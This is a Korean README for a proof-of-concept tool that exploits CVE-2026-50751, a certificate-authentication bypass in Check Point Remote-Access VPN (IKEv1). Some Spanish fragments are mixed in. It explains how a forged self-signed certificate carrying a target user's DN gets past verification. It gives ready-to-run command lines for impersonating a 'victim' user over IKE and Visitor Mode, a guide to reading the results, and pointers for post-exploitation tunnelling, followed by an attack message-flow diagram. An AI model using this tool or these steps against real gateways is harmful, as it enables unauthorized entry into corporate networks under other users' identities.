
Check Point Remote-Access VPN(IKEv1)의 인증서 인증 우회.
Check Point의 Remote-Access VPN(IKEv1)에서 인증서 기반 인증 우회.
CVE-2026-50751은 Check Point의 iked 프로세스에서 발생하는 인증 우회 취약점으로, 핫픽스 sk185033이 적용되지 않은 R81.10, R82 및 R82.10 버전에 존재합니다. 이 결함을 통해 개인 키, 비밀번호, 유효한 인증서 없이도 프로비저닝된 모든 Remote Access 사용자로 인증할 수 있습니다.
취약한 iked는 Vendor ID VPNExtFeatures(비트 0x4)에서 플래그를 읽고, 이것이 활성화되어 있으면 verify_peer_auth / verifyMessagePhase1을 생략합니다. 그 결과:
인증서 서명(소유 증명)이 검증되지 않습니다.
신뢰 체인이 검증되지 않습니다.
subject DN이 프로비저닝된 사용자로 확인되는지만 검사됩니다.
CN=이 대상 사용자와 일치하는 자체 서명 인증서를 위조하여 유효하지 않은 서명과 함께 전송하면 충분합니다. 게이트웨이가 1단계를 수락하면 해당 사용자로 인증된 상태가 됩니다(ISAKMP SA가 해당 DN 아래에 저장됨).
IKE(UDP 500/4500) 및 Visitor Mode(TCPT, TCP 443)에서 작동합니다.
구문
cve-2026-50751 -host <IP|hostname> -user <username> [opciones]
| 플래그 | 설명 | 기본값 |
|---|---|---|
-host | 게이트웨이의 IP 또는 호스트 이름 (필수) | — |
-user | 가장할 RA 사용자 이름 (필수) | — |
-port | 포트: 500, 4500 (UDP) 또는 443 (TCPT) | 500 |
-org | ICA의 조직(O=). 생략하면 포트 443에서 게이트웨이의 TLS 인증서로부터 파생됨 | — |
-ou | 사용자 DN의 조직 단위(OU=). Check Point가 사용자에 대해 저장하는 OU와 정확히 일치해야 함 | users |
-timeout | 작업당 타임아웃 (Go의 모든 duration 허용: 6s, 500ms, 1m) | 6s |
-retries | 첫 시도에서 게이트웨이가 응답하지 않을 경우 msg1 재시도 횟수 | 1 |
-tcpt | Visitor Mode 전송(TCP 기반 TCPT, TLS 없음)을 강제함. -port 443인 경우 자동으로 활성화됨 | false |
-ou에 관한 참고: 기본값은users이지만, 실제로 RA 사용자는 보통 특정 그룹(예:VPN_GROUP)에 속한다.mgmt_cli show user name "<usuario>" details-level "full" --format json으로 확인하고distinguished-name필드를 찾아보라. 잘못된OU는 게이트웨이가msg5를 조용히 폐기하게 만든다(NO_RESPONSE또는INCONCLUSIVE). DN이 프로비저닝된 어떤 사용자로도 해석되지 않기 때문이다.
O= 자동 파생 사용)sudo ./cve-2026-50751 -host 203.0.113.10 -port 500 -user victim
Linux/macOS에서는 UDP 500 포트를 소스로 바인딩하려면 sudo가 필요합니다. sudo를 사용할 수 없으면 PoC는 임시 포트로 대체되며, 많은 게이트웨이가 비표준 소스 포트로 인해 패킷을 무시합니다.
게이트웨이가 443 포트에서 TLS 인증서를 노출하지 않거나, 자동으로 도출된 O=가 프로비저닝된 사용자의 O=와 일치하지 않을 때 유용합니다:
./cve-2026-50751 \
-host 203.0.113.10 \
-port 500 \
-user victim \
-org "gw-754bab.acme.s34394" \
-ou VPN_GROUP
-port 443을 지정하면 자동으로 활성화됩니다:
./cve-2026-50751 -host 203.0.113.10 -port 443 -user victim -org "ACME" -ou users
-tcpt로 명시적으로 강제한 경우 (게이트웨이가 443이 아닌 다른 포트에서 Visitor Mode를 수신하고 있는 경우를 대비):
./cve-2026-50751 -host 203.0.113.10 -port 8443 -user victim -tcpt -org "ACME"
사용자 머신과 게이트웨이 사이의 NAT를 통과하기 위한 것입니다. PoC는 RFC 3948의 NON-ESP 마커로 패킷에 접두사를 붙입니다:
sudo ./cve-2026-50751 -host 203.0.113.10 -port 4500 -user victim -org "ACME"
느린 링크나 속도 제한이 있는 게이트웨이에서 유용합니다:
./cve-2026-50751 \
-host 203.0.113.10 \
-user victim \
-timeout 10s \
-retries 3 \
-org "ACME"
| 출력 | 의미 | 수행할 작업 |
|---|---|---|
[+] [BYPASSED] + 내부 IP | 바이패스가 성공했으며, IKEv1 SA가 가장된 사용자로 설정됨 | 후속 익스플로잇 섹션 참조 |
[-] [REJECTED] | 게이트웨이가 msg5를 복호화했지만 인증을 거부함 | 프로비저닝되지 않은 사용자, 잘못된 OU, 또는 패치된 게이트웨이(sk185033) |
[-] [NO_CERT_REALM] | 게이트웨이가 Main Mode에서 인증서 인증을 제공하지 않음 | 게이트웨이가 Certificate/Mixed 모드가 아니거나 IKEv2만 허용함 |
[-] [NO_RESPONSE] | msg1에 대한 응답 없음 | 방화벽이 UDP/500을 차단 중이거나, iked가 실행 중이 아니거나, 속도 제한(rate limiting) |
[!] [INCONCLUSIVE] | 결정적인 응답 없음 | 몇 분 후 재시도하고, tcpdump와 iked 로그 확인 |
[BYPASSED]를 획득하면, PoC는 완전한 **IKEv1 보안 연결(Security Association)**을 설정했으며 게이트웨이가 Remote Access 풀의 가상 IP를 할당한 상태입니다. 게이트웨이의 관점에서 당신은 기업 네트워크 내부의 가장된 사용자입니다.
그러나 PoC는 사용 가능한 데이터 터널을 제공하지 않습니다(Quick Mode / IPsec ESP를 구현하지 않음). 네트워크 내 위치를 활용하려면 2단계를 완료해야 합니다. 이는 다음 방법으로 수행할 수 있습니다:
strongSwan 또는 OpenVPN: 클라이언트가 위조된 DN을 가진 인증서를 사용하도록 구성하고 바이패스 후 Quick Mode를 협상합니다. VID를 주입하고 클라이언트 측 서명 검증을 건너뛰도록 흐름을 수정해야 합니다.Atacante Gateway (iked vulnerable)
│ │
│─── msg1: SA (RSA-SIG) + VPNExtFeatures VID (bit 0x4) ───▶│
│ │ Lee flag 0x4
│ │ Marca verify_peer_auth = skip
│◀── msg2: SA aceptado ────────────────────────────────────│
│ │
│─── msg3: KE (g^xi) + Ni ────────────────────────────────▶│
│◀── msg4: KE (g^xr) + Nr ─────────────────────────────────│
│ │
│ Deriva SKEYID, SKEYID_e, IV │
│ │
│─── msg5 (cifrado): ID=DN forjado + CERT autofirmado │
│ + firma aleatoria ───────────────────▶│
│ │ Omite verificación
│ │ de firma
│ │ Resuelve DN → usuario
│◀── msg6 (cifrado): SA establecida ───────────────────────│
│ │
│ Descifra msg6 con SKEYID_e → prueba de autenticación │